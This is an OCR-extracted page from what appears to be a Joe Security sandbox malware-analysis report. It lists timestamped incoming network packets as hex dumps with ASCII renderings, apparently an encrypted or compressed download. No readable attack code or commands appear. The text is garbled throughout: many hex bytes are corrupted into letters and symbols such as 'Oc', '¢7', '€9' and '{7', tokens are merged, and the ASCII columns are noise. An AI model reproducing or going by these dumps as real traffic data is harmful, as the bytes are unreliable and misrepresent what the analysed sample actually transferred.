2021-10-13 13:47:09 UTC 127 IN Data Raw: 76 61 31 e7 ad 54 bd ee 9c 94 ec 04 99 8 1d d2 4b 2e 11 23 el 4b 84 cf 90 20 a8 4f d9 92 37 aa 0d e0 f0O 86
6a 52 da d7 f4 d9 eb Ob b2 a6 9b b6 ad 88 c4 53 08 50 99 6¢ e4 7f e5 80 Oa f6 Oa 7b 45 89 b3 58 99 84 3e 5¢ bd c4 f1 e9
e6 6¢ 46 13 1b 6e 66 40 53 9e 78 d9 b7 8b a7 6b 7b 8f 43 cc fa cc f2 9a b5 d2 fc dc e8 23 36 6f 66 34 66 58 98 5b 7a 2a
4477 dc 22 6f 05 7d 2a f9 72 5a 91 c8 af 83 dc 0f 9c 19 68 35 29 c0 a6 8f 08 e4 74 eb 46 65 a8 48 56 Oc {7 4e 33 79 df 4a
29 1c 10 95 Oe 16 68 2d 87 b0 68 24 a3 a0 14 19 7e b7 e8 3c 8c 97 2f a3 76 c3 b7 de ba 62 1f 5b 88 50 Oa f3 e3 7d 76 6¢
92 0a ea e0 53 6¢ 6d 6e al 39 f8 3b 54 1c Ob b1 00 d5 b9 3a 8f f3 f1 30 85 7f 3d 58 e0 62 b8 d5 7d cf 05 24 45 01 1 5e c7
34 ed 19 4b ca 39 a0 95 9e 92 15 62 6e b5 6e Oe d2
Data Ascii: valTK.#K O7jRSP{EX>\IFnf@ Sxk{C#60f4fX[z*Dw"0}*rZh5)tFeHVN3yJ)h-h$~</vb[P}vISImn9;T:0=Xb
J$E~4K9bnn

2021-10-13 13:47:09 UTC 128 IN Data Raw: 21 ff a3 71 69 ab c4 75 a2 36 c¢9 00 bd 4d fe 09 ae c6 9c df d1 76 84 72 e8 81 f4 f3 df b7 80 a7 9e 1e 2d 21 43
63 ce e7 f0 7c 5d 6d 38 f0 6d 80 85 52 26 87 96 39 7c 06 c9 de bd 09 0d 87 2a 8a 66 18 3e 9b 19 98 59 6d 4a 6b 91 44 4c
4b 78 39 de 8b 6d 44 5b 4f da 4a 01 ae 42 c1 22 06 4c 59 be 23 55 d0 46 ec b0 4f aa d9 f2 a5 4c a6 f7 da 4a 67 51 c8 e9
26 el 4b bf ac b1 ab 04 56 86 €9 0d ac 21 19 2d 3a b0 89 48 27 89 68 32 7c dd ed 17 Of da d7 35 b0 d2 f9 6d 2d 84 2b b2
b5 05 5a b0 79 Oc ce ec 2d 88 f5 7a 1b d5 21 df a5 78 eb fa 77 f2 8b 8b 4d 7b 48 7e 3e 4f fd 3b f3 92 4a 47 77 11 e6 26 05
49 54 fa bc 3e da 5b ¢7 6a 4e 6a c1 d2 2b 5a 08 f2 00 76 9¢ 53 dO d6 c3 3c 6e e4 aa 95 77 ¢9 Oc 10 c1 06 af ef 69 5¢c c9
67 b9 41 17 35 d4 67 0a 47 ea f3 7f 46 91 1a e5 36
Data Ascii: !qiuMvr-!Cc|Jm8mR&9[*f>YmJIKDLKx9MD[OJB"LY#UFOLJgQ&KV!-:H'h2|5m-+Zy-z!IxwM{H~>O;JGW&IT>[j
Nj+ZvS<nwi\gA5gGF6

2021-10-13 13:47:09 UTC 129 IN Data Raw: 8e al 3a 87 75 2e eb a0 e0 Oc bc 66 e0 48 e8 4c 22 b7 b3 93 2e 2b c6 6 f5 96 36 ae 7b 1f 48 06 f3 50 f6 ed 20
df a6 4e 4b 4f 86 b1 de b7 ab d9 49 df b6 78 26 82 b8 90 95 10 95 be 4d af 64 38 b7 11 19 45 14 69 99 41 57 21 74 80 69
84 b6 7f db 59 30 bf dc fc dc 3f d2 34 b1 {7 68 e4 f8 07 b8 e0 21 a0 ff fa 14 25 09 ff d5 ed 10 31 a3 52 46 fe 1c 40 99 16 68
68 47 d2 b3 13 06 48 54 0f 92 6d 30 da bf c4 a4 55 3 3d a5 bf 13 35 93 40 Oa ec 60 1d d2 9d a4 db 3f 33 f4 b9 ab dO f8 0a
ca 13 d7 65 3a 5e 6b c8 1c 20 80 f4 5f ce bb be c9 7e 7f 44 6a le 72 3a 56 28 32 f5 fd 25 1d 1e c0 41 8b 21 al 80 83 07
3b 03 12 62 cc 64 fa 89 d3 5b 3e 7c c9 b6 72 83 ef ac d0 7c 84 18 b2 6a 52 Oc 4c f4 c6 5f 69 7b 67 a8 68 58 58 27 73 6b
11 4b 92 6b ba 45 25 60 55 ed c5 48 34 dd d7
Data Ascii: :u.fHL".+6{HP NKOIX&Md8EiAW!tiY0?4h!%1RF@hhGHTMOU=5@ ?3e:*k _~Djr:V(2%A!;bd[>|r{jRL_i{gh
XX'skKkE% UH4

2021-10-13 13:47:09 UTC 130 IN Data Raw: 9a d2 90 d0 f4 77 20 84 a5 03 05 4c e5 d1 d3 c9 al 80 52 28 04 fe 33 10 dd 29 89 4e 84 8c 20 a4 e0 23 d1 5e
12 3e 84 37 5c 4d 7e df 4f dd cd b9 12 8a 38 e0 a5 9b 5f 96 13 d7 b8 58 cc 95 72 46 ¢3 1b d8 c9 7b fc b5 21 73 cd a9 0d
48 aa 44 55 e9 e8 72 ec 06 b5 c6 3f b8 eb 77 43 da fa dd f4 fc 1b db 53 Oc 54 24 32 d4 ee dc cb 5d b0 6d ae c2 e0 f9 62
3550 19 f1 0f bd 31 fb 9d 51 a3 ee dc ¢5 33 6b cd d2 61 dc ¢7 1d 2b 02 57 ce 02 be 11 aa fa 0d 50 2c 02 3d bf Oc 52 4a
47 e7 f7 4c b4 17 Oe 99 0d 84 03 d4 96 3b da 1e ff 24 b3 8d 61 42 60 9a 97 23 3e e3 73 76 a5 22 7b 43 27 cl 4e e5 5d 94
36 d5 ec 6d 1a d1 b7 2b 6f d7 f8 c2 d9 08 fd eb 86 fc 6f 51 d1 Ob cd 33 Ob 93 a5 94 60 ae 89 1le b4 12 a6 da 72 f5 fa db 1b
4b b4 c3 fe 9b af 39 24 24 8f 03 5¢ 2e cd 1b 1e ce 19
Data Ascii: w LR(3)N #">7\M~08_XrF{!IsHDUr?wCST$2]mb5P1Q3ka+WP,=RJGL;$aB #>sv'{C'N]6m+00Q3 rK9$3$\.

2021-10-13 13:47:09 UTC 131 IN Data Raw: 09 33 c0 89 8c 1c cf 8a e7 55 68 {7 43 8c 5a c2 e4 31 95 14 08 dd 54 37 81 01 cc le fa ac bc 8¢ 82 92 79 b5 63
d6 b5 92 2f e5 4a 8b 48 75 40 8d 38 ca 1f 8d Oc 01 15 5a 86 eb 2e ed fd f4 ad 65 61 7c 86 1b cd {7 8e cf f9 f4 36 17 49 24
8f 9a 0d 44 10 07 €9 07 a3 aa ae f0 28 2a ac d6 a9 9e 6b e5 40 d9 66 e6 32 13 61 32 4d 9a 8a 1d dc 1b bc dd cl {7 88 Oe
ea 41 fc ee 38 8a 76 b9 ac 21 ab 50 32 bf 73 al 8a 8c 26 fc 00 f9 6b 06 bc ba ea d3 dc ¢8 3e 32 30 6¢ a8 cb d4 46 17 94
dd e9 a7 f2 59 6¢ 72 8e 7a 67 7b 29 93 66 2f 4a 38 26 €2 93 da d5 eb 70 64 d9 64 c8 8f fd 08 ce 60 57 ee 83 a3 fd 5¢ 2e f5
Oc 21 accb 1af6 d6 f9 d2 11 9a b2 21 d9 eb ea 17 7c ee ab 00 3e 43 41 52 b0 81 38 88 ff aa 00 8c 88 fa 93 ce 22 18 1c
5d d7 3e 00 d1 67 43 97 db 26 f0 31 bb c0 57 31
Data Ascii: 3UhCZ1T7yc/JHU@8Z.ea|61$D(*k@f2a2MA8V!P2s&k>20IFYIrzg{)f/J8&pdd "W\.!!|>CAR8"|>gC&1W1

2021-10-13 13:47:09 UTC 132 IN Data Raw: 39 8f 4d 16 7e ed a1 93 63 72 d9 6d 68 f4 ea c9 17 cd f8 29 22 3f fa al 7e 93 bb 42 85 ae dd e7 b8 d1 48 7c d2
8f 6f 55 2f ee 88 2e ab 7c 85 3a 56 ¢8 1b bd dd al 75 a9 44 e9 69 c9 41 ff 0d 38 82 77 1b 2f dO a0 1d 05 65 d5 d3 7a c9
9c 2a a5 d6 6e c2 37 73 6b aa ea 59 e7 8b fa a8 df 04 d6 ee 81 e5 5c 99 8a 3e 54 e0 9c a4 89 74 8b c¢3 3a 9f 8a 1a 19 85
20e870d4 44 ee 19 41 75 9c 96 12 f4 fb 0d a6 3c 16 1e 9d a5 Oc a8 76 30 f6 94 85 61 26 f9 5a 84 e 4f 2d 7e 11 53 60
al 1la a0 8d 93 8¢ 7a 2f 3e 1f 54 Oa 1b 1a 30 3e 5a 30 bd 6 {8 8f 1e 6f 70 51 54 2f 6a 4c b0 02 99 b0 cc 22 52 09 cc bb 45
51 ¢7 35 ae 06 55 2f 3d 49 ae fe af 4e 97 f2 6¢ 16 08 5a 5b ¢7 38 17 ¢8 ¢5 66 ff c9 65 2e 67 d0 6¢ al 2e 95 d8 1a 98 a5 Oa
f4 55 24 93 ad 3d 7d 3e 8a ce d6 58 06 78 ba a8
Data Ascii: 9M~crmh)"?~BH|oU/.|:VuDiA8w/ez*n7skY\>Tt: pDAU<v0a&Z0O-~S'z/>T0>Z0opQT/|L"REQ5U/=INIZ[8fe
.gl.US=}>Xx
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:47:09 UTC 134 IN Data Raw: 32 4a fb a9 99 7f a4 06 e8 b8 23 66 4d f4 6f 68 65 ae 56 9f 9e 04 3d 86 07 08 d2 05 77 b4 71 30 8b 5b 31 20 b5
2af9 61 b5 d6 c9 e9 1a 45 68 b2 ad d7 8e 73 cc 25 3¢ 03 90 dc c2 e0 46 76 ec 07 fe 1c 5d 38 af a8 f8 2c 81 75 75 91 8e f6
d7 12 83 03 6e c8 25 34 e4 16 c5 84 20 a9 92 4e cc 8d 97 4d 77 3c 98 94 4b e7 5¢c ac ¢7 0a ba a3 b6 b9 fd 20 e4 91 b5 3e
bb 07 ad c9 2b b8 58 80 81 f2 f8 45 e2 ¢3 97 0a 1f a8 50 d7 e7 73 5b 51 61 5b 93 4f ef 97 2a e9 85 d2 6¢ fO dc 2¢ 73 be 1f
8c ef 27 47 19 9f b5 d8 2b 57 b1 df a3 56 4b 02 a9 5f 5¢ f8 3d 7b 80 75 33 6¢ 8 9d 35 Oa ed f6 93 21 3e 4d ac 44 20 97
69 09 af c0 35 84 9d 86 2b 5¢c 54 e6 cd el 69 81 38 51 27 15 9c ¢4 fb 77 00 83 13 1a 1b 99 90 85 91 99 06 13 c1 22 36 6b
61 d5 2c 82 c¢7 b9 16 54 33 35 b9 30 ae 4b 01 fe
Data Ascii: 2J#fMoheV=wq0[1 *aEhs%<Fv]8,uun%4 NMw<K\ >+XEPs[Qa[O*],s'G+WVK_\={u3I5!>MD i5+\Ti8Q'w"6k
a,T350K

2021-10-13 13:47:09 UTC 135 IN Data Raw: Oa 8¢ da 84 5e 4d 1a eb 24 5f b7 41 6d 17 f6 f2 cf cc 5a 48 5f 32 a7 66 f1 54 5b 3d a4 96 54 81 ad 4d 31 d5 b5
27 €6 77 a6 21 65 b8 f5 8e bl b5 5f 9¢c 69 16 36 2f 95 59 52 1f cd €3 b9 c9 a7 19 86 fc 6a 97 5f 4f a3 ae 8d b6 d8 65 9f b9
28 bf 2f ab 02 73 e6 c7 df df ee bc 9c bf 09 4e cf f1 e7 ea c8 26 fa 7c 73 1e 86 1e 81 d3 9e e2 7b 25 91 c8 84 90 af 90 48
ac cd a8 00 84 66 93 6e 30 4e 6b dd e2 f7 af d4 25 b1 27 70 9b 9c¢ 87 1c 7f 80 7c 16 3d b5 8¢ 0d aa fa b9 2c 65 3f c2 9b
ac 7a 26 06 67 91 3e ee 5b 1d 58 4e dd 3a 2b 2e 21 63 6¢ 3a 62 f3 34 4f d0 da 28 63 dd 84 91 9e ad 7d 92 2f 3f 93 64 4b
e4 45 ef f0 e4 41 b0 86 5d ad c0 62 3a 72 02 86 de a8 12 d4 71 55 ea bc c4 da cf ea 9d df d6 11 5a b5 16 ec 08 12 49 55
96 4b ae 5e 97 56 86 6e ba 6e 1c 5a 32 4a ad 3d
Data Ascii: "M$_AmZH_2fT[=TM1'w!e_i6/YR|_Oe(/sN&|s{%HfnONk%'p|=,e?z&g>[XN:+.!cl:b40(c}/?dKEA]b:rquUZI
UKAVNnnz2J=

2021-10-13 13:47:09 UTC 136 IN Data Raw: db 92 a5 8d 2f 16 b4 c1 0a 76 b7 €6 2c 3e 06 9f 13 59 b5 eb 31 2d c0 ed 96 64 f4 16 dc dO fb 7d e2 22 3c 44 a8
be 2b 8e 49 08 14 aa 52 00 8f 4c 7a fa aa 62 e4 60 4e ad 37 7a 59 45 ad 78 df 31 06 2f 68 19 13 29 d1 6d b1 05 26 97 39
99 b6 al f2 Ob d5 62 89 55 02 44 58 ec 05 db 10 2e f4 Oa ea 69 17 Of 18 da e0 c2 a7 a3 49 40 6a 69 24 43 3e {7 ffel 1a
46 89 2a 29 26 46 77 ea 6a bf 8f de 10 c7 61 el a5 ea 37 66 e5 Ob 98 ac c5 a8 3a 04 be e4 b6 7c 23 ac dc 5¢ 36 18 ef 3c
b5 ef 2f a0 13 38 6e c3 f1 ef 03 b1 4e 29 cb 8b 67 d0 66 48 a5 b6 a2 55 cd 79 Ob da a3 96 d6 02 fe 29 29 13 b6 98 91 60 7
16 b2 Oe 28 cc 55 00 8e cf 7e 60 96 49 51 e5 de 48 7c 68 58 35 1d 3a 43 61 29 bb a0 87 56 3e Oc 57 8d 55 cc ee d5 82
d2 d9 88 c8 ec d9 99 a2 3a b2 74 cd 9c 24 a4 03 fb 40
Data Ascii: /v,>Y1-d}"'<D+IRLzb*'N7zYEx1/h)m&9bUDX.il@ji$C>F*)&Fwija7f:[#\6</8nN)gfHUY)) (U~ "IQH|hX5:Ca
W>WU:t$@

2021-10-13 13:47:09 UTC 137 IN Data Raw: f6 6d 1e dd bf 3e b8 cc 7 10 c2 69 db al f1 32 39 8d 51 ed Oc da ac 61 8b 87 83 bd c5 9d 6d a8 dd 54 0f f9 f6
8d 74 10 7b 3 5f bc be 36 al b3 ae 23 04 eb ce 1c c7 10 84 05 8¢ 89 2f a2 78 86 82 cf 21 93 64 a6 a6 54 e6 5e 18 10 31
8b 65 97 10 Ob fb 98 9a e4 41 b9 0a 2b da fd b8 94 Oe 99 b9 48 1d ac 75 31 2c 5d cf d1 60 a7 d0 23 32 a7 37 49 9f e0 23
87 32 a4 a4 53 93 a4 02 6b ec 74 59 52 d1 a0 87 92 2a 6e 19 81 7e 3f 98 49 9f 59 27 70 fc 1a 7a a6 d3 9d 1d 4f 48 10 c1
ae 56 90 ea 51 4b 0a 8c ca 34 75 Oc 1a 09 05 28 5¢c 17 89 91 dc 74 c0 64 e8 ac 04 03 ea 10 20 ec 82 45 6a 2d fc 19 ea bl
fe 5a 28 eb e6 7a 04 fe 87 ef ee bb bc Oc 72 b4 1c 73 25 18 39 79 23 d3 88 3c 65 f2 c0 f7 b5 a7 bb 30 48 68 9a ad 28 6a
2541 a3 02 8d 79 d9 38 6d 2c d4 fe a4 e2 6f 19 0d ef
Data Ascii: m>i29QamTt{_6#/x!dT"1eA+Hul,] #271#2SktYR*n~?1Y'pzOHVQK4u(\td Ej-Z(zrs%9y#<e0Hh(j%Ay8m,0

2021-10-13 13:47:09 UTC 139 IN Data Raw: e8 4f b9 7b b9 8d 97 21 4e d1 ac e2 02 ab 42 53 ca 44 d6 5b 34 99 e5 a8 7d 0d 6a 85 e6 46 28 05 e6 fc 71 fd
93 fe 7a 39 ec b5 36 9¢ 65 95 27 57 05 ce 1b f7 ea 0d c5 65 a7 9e df 45 20 01 f4 64 63 bf c7 ec 39 22 5e Oe al ed 2e 70
68 b8 50 22 2e 5a 84 35 38 7c ae 9e 35 b5 b4 19 dc 4e d8 97 c1 cf 72 2f dd 2d 5¢ 6a 66 0d 8e 9d 92 36 a0 24 b0 a3 f0 12
ce f9 f3 af 95 a0 92 34 30 97 8b bd fO 4d 57 b9 d7 b2 38 78 80 a4 4b 7c c9 91 09 af 53 74 7d d4 ec 53 bd f0 9f ec 40 6b 4f
2b 8d 97 62 87 83 a9 ae ea 5b 86 10 ca 71 c9 be ab 6f 45 d7 85 ff 60 aa Ob 7c bc 76 39 1f d5 e3 94 19 15 79 f1 55 99 1c
b0 3c 05 6f 99 04 f2 f1 fe f3 Oc 86 7b 33 c1 57 a3 ec 82 ee 99 eb c1 ¢9 00 f5 e8 bd c5 1a d5 8d 10 83 53 00 d1 55 20 d7 5b
bc 0a 45 73 dd bd 19 c9 7b 47 cf ab 31 c1 74 e5 25
Data Ascii: O{INBSD[4}jF(qz96e'WeE dc9"*.phP".Z58|5Nr/-\f6$40MW8XK|St}S@kO+b[qoE’|[vOyU<o{3WSU [Es{G1t%

2021-10-13 13:47:09 UTC 140 IN Data Raw: c0 7f f9 4b ee 6f 19 b3 54 cd Oa 7e 8a af 04 9d 71 87 df ca 60 19 d7 ba ab 96 cc 1d 83 cfeb 58 7d 02 aa 91 24
af 9c 93 4e 8d 3e e0 49 97 65 f5 a4 73 50 ed b0 b5 11 16 43 0a ab a5 39 el a7 5e 2c fd fc 9c d2 ¢5 04 78 78 3e 75 da 8a
92 b2 be 77 00 63 e9 26 d1 1a 93 38 a3 c3 6¢ 3a cb 7 6f f6 26 25 55 4c 67 ef 96 11 6d da 98 71 09 c1 fd 71 00 ca bl cl
95 76 af ab ec 96 62 09 d8 25 9a e6 7f d4 cc 6¢ a9 db b7 e8 fc 1b 2f 7d d5 Of 2f 32 93 8d 2e c6 b4 45 83 4e 3a b5 6d 09 ee
3191 73 39 9a 51 2d a0 f3 2b 49 db d5 27 c1 b8 65 28 4a 58 ca 48 el 1c b8 el 2c b6 3a 68 9d 7a 61 ea 1b 72 a5 70 8e cd
3d 15 b7 10 09 €9 67 84 ¢5 57 8e 93 10 64 f5 b0 2b 86 c3 01 08 ea b8 9¢ d9 d2 85 d5 60 bl 82 8a 34 9d 5f e3 fa 7c b9 14
86 73 ee d8 45 1e b9 bc be 98 8a 5f 9b be 51 7c 16
Data Ascii: KoT~q X}$N>lesPC9" xx>uwc&8l:0&%ULgmaqvb%iI/}/2.EN:m1s9Q-+I'e(IXH,:hzarp=gWd+'4_|sE_Q)|

2021-10-13 13:47:09 UTC 141 IN Data Raw: fe b7 f6 81 fa bf 93 8f ca 9d ff 9b ca 96 ab d6 64 a3 74 c4 3e 1f 61 el ea 55 8d 09 37 83 4e f2 8b 44 9a ea ed cd
7c 88 e8 4f 09 a3 19 16 4a f7 79 90 88 ed c1 2c 5f b5 04 f2 87 39 02 f4 60 d7 30 f8 e6 f5 60 9d 92 9d €8 2d d8 al al 52 41
20 14 6f 32 1f 3e 52 b3 84 27 b9 54 3d 40 9a 51 c1 10 53 eb 6f 5b 28 8c €7 46 b2 c6 1d 14 db c2 5e c4 36 f6 87 32 aa 8d
28 6e 86 a2 50 23 e5 9d ff c8 4b 38 7d 76 27 7d 30 a0 f8 2a al 01 12 9a 78 96 ed 4a 07 bf 05 05 fb de 7d f5 Oc 3fcb 2b 91
ea 65 fc 4c d2 03 6a 42 00 30 42 79 8e b0 06 4c 78 30 df 4f d1 54 83 9f f3 31 1d 82 c0 dO 7a 5e db f8 77 3c 3a 9f bd 91 89
73 9c cc ed fb a4 74 8f b0 8d 9d 8¢ 4c 48 55 31 7b 34 fe a7 b7 Oc cc ¢5 71 56 a0 7b 67 32 67 e6 34 97 4a f6 4a 35 c6 dd
58 a4 ab 71 72 13 d2 7c 27 24 9d bd 50 87
Data Ascii: dt>aU7ND|OJy,_9°0™-RA 02>R' T=@QSo[(F*62(nP#K8}v'}J0*xJ}?+eLjBOByLXx00T 1z w<:stLHU1{4qV{g2g
43J5Xqr|'$P

2021-10-13 13:47:09 UTC 143 IN Data Raw: 57 64 ec fc f3 Ob b4 e2 80 f4 64 82 Ob 15 03 19 71 ed d3 4c d4 00 a5 37 9c 3f ¢6 32 10 16 3d dc 1e 3d 52 68 81
bb 32 91 e6 bd d4 5d cb 8d 16 60 31 77 29 67 9b 68 d7 a9 fc al 36 6b 44 a7 0d 3 72 d9 47 43 1e 68 f1 62 d9 65 4a 3b 94
97 68 ec 4d 3d 3a db 0d fe Oc a2 96 00 5d 71 7e 27 14 4f 17 9b d3 3e 90 39 {7 db db 73 2b 37 90 41 57 1c dc 7e 87 4f 96
14 87 49 38 43 6a c5 d4 7c e5 fe 1f 49 04 2f 4c 1d 62 6d a2 90 55 28 bc a8 0d 78 fc 8a b5 c6 a4 a7 dd 59 ac 82 3e fc 90
79 b9 Of fd 7d fa e7 a6 44 d3 98 ae 6d €9 c5 5f 77 7b 97 34 9d 49 65 70 01 db c8 8¢ ba 95 b9 ee 99 ac c0 3f f5 67 60 08 6¢
ee e3d1 99 c3 ad 74 12 b2 5e 33 94 5d 4c 42 40 f2 9a f7 3d b0 fb 09 ef f9 37 98 48 84 13 c8 5f fa d8 88 50 36 62 bc c8 5b
45 9f bd 74 8c Oc 3e 3a 90 37 ca 96 2f 2¢ 6a 02
Data Ascii: WddqL7?2==Rh2] 1w)gh6kDrGChbeJ;hM=:]g~'0>9s+7AW~OI8Cj|l/LbmU(xY>y}Dm_w{4lep?g It"3]LB@=7
H_P6b[Et>:7/,j

2021-10-13 13:47:09 UTC 144 IN Data Raw: 99 08 25 b3 57 b9 50 a6 88 ef 39 Oc 68 35 20 18 14 7b 3d cd 9c 3b 8d c0 18 90 f3 52 32 al 13 Oc 52 93 61 Of
d9 b4 c3 fb 1d ae 8b a9 1d e2 15 62 e5 c8 fa d6 €8 30 04 c4 b5 89 dO 4a a9 62 60 4a bc 98 e8 95 b2 36 90 6d 3a f2 60 92
€2 Oe 59 4e 1d 99 81 63 33 f7 a6 72 1a 90 56 50 24 62 ac 29 a7 c5 9b b5 b9 76 43 59 2c f5 54 71 55 33 41 42 09 99 48 {3
ff 81 09 4c e0 e2 a5 88 30 Of 1a 7a b0 df fd 80 b6 de 02 Of 87 19 fd 6¢ Oe 30 49 05 92 21 07 ef 2e ff 56 7a 9d 74 db c6 c7
c1f7 45 6¢ 53 7575 63 33 a7 74 31 0f 00 18 ca cc 4d 4c e5 1b 88 bl 77 09 e2 e5 4f 6a d2 e3 24 bf 41 4c 52 05 a5 3c 49
76 8c 47 13 4f Of b7 2c 86 1f eb e6 f4 9¢c 99 e9 4a 97 6¢ 98 fe d2 €5 17 3d 6b c6 al 15 f5 a2 14 ee 6¢ fl ea 72 fa 07 1c 05
96 97 8b 89 fa 22 03 Oc 36 03 9b 7a 92 c5 70 2d 9b
Data Ascii: %WP9h5 {=;R2Rab0Jb"J6m:"YNc3rVP$b)vCY, TqU3ABHLOzIOI!.VztEISuuc3tIMLWOJ$ALR<IVGO,JI=kIr"6zp-

Copyright Joe Security LLC 2021 Page 77 of 136



kBytes
Timestamp transferred Direction Data

2021-10-13 13:47:09 UTC 145 IN Data Raw: 07 00 d3 03 f4 a8 28 94 ea c3 ae 57 42 fO d4 d1 f0 11 b5 12 72 52 33 3f 3d 67 03 fc 29 Ob ec 66 b7 12 55 e5 3¢
57 96 4b 54 4e e2 el 11 dd a9 79 ac eb 61 e9 23 ee ad dd 4a 33 fc f8 56 9e ea 4c c3 e7 2a f2 c0 e9 a6 ef 5d 09 84 da b7
1c 1d 959e 7d f6 e1 92 bc 60 ad 5¢ fd 7f 1e 86 6b 16 36 95 32 5¢ Oa 3e 59 53 2f 34 35 b5 24 f6 98 cc 13 28 81 1b 2a 6a
1f ed f0 08 67 ce €6 93 c1 f6 ce a6 5d 1c 62 9d 8 25 83 54 d5 d6 f3 99 8e e7 31 38 Oc 5e 73 bl 4c f1 de 55 91 dc 71 12 d4
0Oa c4 bf 1f 12 6b 07 a6 4c bc e5 47 9f d4 e8 b7 b3 07 al 7a 40 17 35 f8 27 f6 8¢ 69 a3 2b 71 23 f4 79 f6 dO 09 7d c8 fO d1
5c 15 ¢7 2e f1 71 03 df e3 59 d2 al bf cO ab 1d 20 ca dd a6 2c ab e9 ad 35 dd 2f af 00 fc 8c 26 58 71 cd da 64 c8 7c 8c 52
df 37 31 99 2e ab 7f a4 25 el 6f 14 dc 95 33
Data Ascii: (WBrR3?=g)fU<WKTNya#J3VL*]} \k62\>YS/45$(*jg]b%T18"sLUgGkLGz@5'i+a#y}\.qY ,5/&Xqd|R71.%03

2021-10-13 13:47:09 UTC 146 IN Data Raw: a9 8c 50 9f bd a3 ba 3b 85 fd 77 6d d5 53 8b 5a 7c 5e 7f 5f 16 b0 df ¢6 93 f5 ad 7b bc c2 ff 4a 8b 46 8f 98 cc 5¢
6c 7a49 f3 f5 4f 09 ed d1 ec a6 8d 03 0b 95 f9 0d 7b 22 d4 c6 8 f1 5¢ 66 f1 da 24 20 3b f6 bf 7c 13 51 93 f7 60 a6 15 44
2d cb 66 ee c9 be bd 8a d8 06 94 94 4a 20 69 a8 af b3 d9 47 60 24 9c 95 e6 1b d6 37 14 cf c1 44 09 29 04 9e d7 dd Oa b4
94 3379 1b 48 d5 Ob ed 95 29 87 73 62 7a 01 5f 10 1f 2f b5 d2 a9 7c 96 67 €6 85 f1 ae c0 29 b3 b1 67 d7 57 35 91 28 3d
€3 76 d3 b9 56 9e 75 94 8e 8f 1b b2 b7 Ob a4 e2 5a 15 c9 df 40 cb c2 d2 8e 99 88 cc d8 71 3b 9a 31 da 52 e5 ec b3 32 6d
d2 91 bf 86 7a d6 d7 be 29 df 5f d3 a0 fa 8e 52 88 56 d4 5b b9 f3 16 d2 af f5 01 91 e4 90 85 63 14 1a 68 ea 5a 16 Of 78 3a
ba 30 67 f5 b6 d2 d8 db 09 a5 45 d2 7e 51 09
Data Ascii: P;wmSZ|*_{JF\IzIO{"\f$ ;|Q D-fJ iG'$7D)3yH)sbz_/|g)gW5(=vWuZ@q;1R2mz)_RV[chZx:0gE~Q

2021-10-13 13:47:09 UTC 147 IN Data Raw: fe be a3 f9 ad 6¢ 51 86 ac 99 2e 68 ad 0a 38 59 81 8a 72 30 1f 99 85 db 38 c1 28 2f ef a4 2d d7 88 ba 5a {3 48
f8 5e aa 67 92 9c 72 3b 2d a4 49 ce 57 5a al a9 33 26 5 b4 4d 27 a9 f2 1b 52 9b 29 c0 29 b5 7f bf 92 91 cb db 4e {5 20
50 c9 48 7 fc d8 f1 3c 6e 5f 05 83 27 ¢8 01 5e 84 db a4 43 ed b9 23 3f df 6d 07 99 6d 85 b4 6b 62 aa 64 bd 98 d6 79 dd
7888 70 37 17 4d 32 7f 49 32 8d 3b 1c f6 09 a2 03 fd b9 d8 00 ee 4f f1 12 3e 7 89 2f Ob c0 00 b3 7f c8 53 18 €9 ab 91 7b
6d ab 40 9b f0 87 4b 18 ad b5 bd 89 55 bb 95 4b 5f 4f 5e 0f 3e a8 6b de 26 93 d9 d3 c5 12 68 fc 00 80 a4 06 c2 7e 06 36
8799 11 ee 26 le 1d b7 58 62 2e aa be 74 77 bb 7a b6 7d 11 b8 54 da d0 af 75 6¢ 73 5¢ 21 34 cb f2 81 44 90 b8 b3 d2 ec
f4 8¢ b5 14 52 b3 49 04 d7 bf 42 fb 09 46 d3 64 4c
Data Ascii: 1Q.h8Yr08(/-ZH"gr;-IWZ3&M'R))N PH<n_"*"C#?mmkbdyxp7M212;0>/S{m@KUK_0O">k&h~6&Xb.twz}Tuls\!
4DRIBFdL

2021-10-13 13:47:09 UTC 148 IN Data Raw: b2 07 2f 84 70 1c 37 9f 2c 58 el f2 80 84 be 02 45 fa d0 Oc Oa f4 54 56 11 61 6b 26 65 61 el 18 01 86 d8 10 ch
d5 e9 b8 db 62 5a 2b e3 75 b7 8a 04 fa 50 98 26 a5 a6 90 ff 87 ca 9a f0 99 6e ae 44 3f fd aa Oe 6¢ 52 c4 fc 49 67 a5 bd 4f
503b b3 79379c9127df5f8c9 el c3922b 0197 1758 a9 c2 b3 46 15 eb 66 e6 3c 43 27 5f b7 a6 94 1f el 9c c7 99
97 5 ¢9 cf 65 e5 d1 90 8a 67 3d 61 b8 63 bc 07 7f aa e3 {7 fe 43 5¢ 31 6a 40 35 1f 2d 64 bc 52 69 09 20 be fd dd a9 38 f9
63 d2 3d 38 e2 db 2b 20 ce 23 d2 d2 36 f3 26 8f a3 60 9d 08 95 49 d6 50 40 94 a5 9a c8 28 €3 79 20 b9 14 bc e7 a4 d8 19
64 2a 12 3f 91 93 50 a4 1e 5f ad 88 cf 84 af 75 51 93 77 63 d2 9b 0d ba 06 31 70 56 18 a6 92 f5 75 80 64 ca d3 ab Of 1d
b3 93 58 ¢4 45 9e db 54 00 21 8c 8e 78 1d 18 09
Data Ascii: /p7,XETVak&eabZ+uP&nD?IRIgOP;yy}+XFf<C'_eg=acC\1j@5-dRi 8c=8+ #6& IP@(y d*?P_uQwclpVudXET!x

2021-10-13 13:47:09 UTC 150 IN Data Raw: €9 84 29 ac c0 73 df 44 57 47 d7 65 b5 eb a2 5c¢ f9 ¢9 65 20 88 6¢ b0 f9 bb 00 9a e8 98 20 dd 4c 31 58 63 56
46 ae 1f 95 27 f2 e1 68 95 61 81 88 a6 cc a3 fc b2 a6 d7 53 20 d4 2d e6 4 bb 6e 84 be 4f d3 8a 34 da Oa e5 a5 d6 el c6
8f cd a2 c2 3a 60 07 28 b9 cb 72 2b 0d 42 10 21 32 c4 a3 72 Oa ab a8 f7 83 09 13 66 c8 9b df 6a d6 49 fd c4 01 ed 8f 7e
al 6¢ 18 54 56 0d b0 8e eb df 55 57 09 5¢c bd 07 19 ¢5 50 8d a7 8f 7f 41 16 04 88 72 a4 81 2f 58 57 34 c1 46 Oc 94 09 92
6e 04 66 69 05 b2 52 5¢ ac 65 38 62 6e 5a 7d ce 74 0a 33 13 42 26 c4 53 1b a6 €9 1b df 5¢c a4 0d 47 26 62 cb 6d 6d f1 Ob
